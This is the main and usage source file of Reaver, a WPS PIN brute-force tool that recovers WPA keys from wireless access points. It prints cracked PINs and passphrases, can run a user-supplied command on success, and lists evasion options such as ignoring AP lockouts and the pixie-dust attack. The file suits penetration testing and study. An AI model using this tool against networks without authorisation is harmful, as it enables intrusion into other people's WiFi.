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/*
* Reaver - Main and reaver_usage functions
* Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#include "wpscrack.h"
#include "iface.h"
extern const char* get_version(void);
static int reaver_usage(char *prog_name);
int reaver_main(int argc, char **argv)
{
int ret_val = EXIT_FAILURE, r = 0;
time_t start_time = 0, end_time = 0;
struct wps_data *wps = NULL;
globule_init();
init_default_settings();
fprintf(stderr, "\nReaver v%s WiFi Protected Setup Attack Tool\n", get_version());
fprintf(stderr, "Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>\n\n");
if(argc < 2)
{
ret_val = reaver_usage(argv[0]);
goto end;
}
/* Process the command line arguments */
if(process_arguments(argc, argv) == EXIT_FAILURE)
{
ret_val = reaver_usage(argv[0]);
goto end;
}
/* Double check reaver_usage */
if(!get_iface() || (memcmp(get_bssid(), NULL_MAC, MAC_ADDR_LEN) == 0))
{
reaver_usage(argv[0]);
goto end;
}
/* If no MAC address was provided, get it ourselves */
if(memcmp(get_mac(), NULL_MAC, MAC_ADDR_LEN) == 0)
{
if(!read_iface_mac())
{
fprintf(stderr, "[-] Failed to retrieve a MAC address for interface '%s'!\n", get_iface());
goto end;
}
}
/* Sanity checking on the message timeout value */
if(get_m57_timeout() > M57_MAX_TIMEOUT)
{
set_m57_timeout(M57_MAX_TIMEOUT);
}
else if(get_m57_timeout() <= 0)
{
set_m57_timeout(M57_DEFAULT_TIMEOUT);
}
/* Sanity checking on the receive timeout value */
if(get_rx_timeout() <= 0)
{
set_rx_timeout(DEFAULT_TIMEOUT);
}
/* Initialize signal handlers */
sigint_init();
sigalrm_init();
/* Mark the start time */
start_time = time(NULL);
/* Do it. */
crack();
/* Mark the end time */
end_time = time(NULL);
/* Check our key status */
if(get_key_status() == KEY_DONE)
{
wps = get_wps();
cprintf(VERBOSE, "[+] Pin cracked in %d seconds\n", (int) (end_time - start_time));
cprintf(CRITICAL, "[+] WPS PIN: '%s'\n", get_pin());
if(wps->key) cprintf(CRITICAL, "[+] WPA PSK: '%s'\n", wps->key);
if(wps->essid) cprintf(CRITICAL, "[+] AP SSID: '%s'\n", wps->essid);
/* Run user-supplied command */
if(get_exec_string())
{
r = system(get_exec_string());
}
ret_val = EXIT_SUCCESS;
}
else
{
cprintf(CRITICAL, "[-] Failed to recover WPA key\n");
}
save_session();
end:
globule_deinit();
return ret_val;
}
static int reaver_usage(char *prog_name)
{
float fail_timeout = 0;
fail_timeout = ((float) M57_DEFAULT_TIMEOUT / (float) SEC_TO_US);
fprintf(stderr, "Required Arguments:\n");
fprintf(stderr, "\t-i, --interface=<wlan> Name of the monitor-mode interface to use\n");
fprintf(stderr, "\t-b, --bssid=<mac> BSSID of the target AP\n");
fprintf(stderr, "\nOptional Arguments:\n");
fprintf(stderr, "\t-m, --mac=<mac> MAC of the host system\n");
fprintf(stderr, "\t-e, --essid=<ssid> ESSID of the target AP\n");
fprintf(stderr, "\t-c, --channel=<channel> Set the 802.11 channel for the interface (implies -f)\n");
fprintf(stderr, "\t-s, --session=<file> Restore a previous session file\n");
fprintf(stderr, "\t-C, --exec=<command> Execute the supplied command upon successful pin recovery\n");
fprintf(stderr, "\t-f, --fixed Disable channel hopping\n");
fprintf(stderr, "\t-5, --5ghz Use 5GHz 802.11 channels\n");
//fprintf(stderr, "\t-6, --repeat-m6 Send M6 again upon duplicated M5 reception\n");
fprintf(stderr, "\t-v, --verbose Display non-critical warnings (-vv or -vvv for more)\n");
fprintf(stderr, "\t-q, --quiet Only display critical messages\n");
fprintf(stderr, "\t-h, --help Show help\n");
fprintf(stderr, "\nAdvanced Options:\n");
fprintf(stderr, "\t-p, --pin=<wps pin> Use the specified pin (may be arbitrary string or 4/8 digit WPS pin)\n");
fprintf(stderr, "\t-d, --delay=<seconds> Set the delay between pin attempts [%d]\n", DEFAULT_DELAY);
fprintf(stderr, "\t-l, --lock-delay=<seconds> Set the time to wait if the AP locks WPS pin attempts [%d]\n", DEFAULT_LOCK_DELAY);
fprintf(stderr, "\t-g, --max-attempts=<num> Quit after num pin attempts\n");
fprintf(stderr, "\t-x, --fail-wait=<seconds> Set the time to sleep after %d unexpected failures [0]\n", WARN_FAILURE_COUNT);
fprintf(stderr, "\t-r, --recurring-delay=<x:y> Sleep for y seconds every x pin attempts\n");
fprintf(stderr, "\t-t, --timeout=<seconds> Set the receive timeout period [%d]\n", DEFAULT_TIMEOUT);
fprintf(stderr, "\t-T, --m57-timeout=<seconds> Set the M5/M7 timeout period [%.2f]\n", fail_timeout);
fprintf(stderr, "\t-A, --no-associate Do not associate with the AP (association must be done by another application)\n");
fprintf(stderr, "\t-N, --no-nacks Do not send NACK messages when out of order packets are received\n");
fprintf(stderr, "\t-S, --dh-small Use small DH keys to improve crack speed\n");
fprintf(stderr, "\t-L, --ignore-locks Ignore locked state reported by the target AP\n");
fprintf(stderr, "\t-E, --eap-terminate Terminate each WPS session with an EAP FAIL packet\n");
fprintf(stderr, "\t-J, --timeout-is-nack Treat timeout as NACK (DIR-300/320)\n");
fprintf(stderr, "\t-F, --ignore-fcs Ignore frame checksum errors\n");
fprintf(stderr, "\t-w, --win7 Mimic a Windows 7 registrar [False]\n");
fprintf(stderr, "\t-K, --pixie-dust Run pixiedust attack\n");
fprintf(stderr, "\t-Z Run pixiedust attack\n");
fprintf(stderr, "\nExample:\n\t%s -i wlan0mon -b 00:90:4C:C1:AC:21 -vv\n\n", prog_name);
return EXIT_FAILURE;
}
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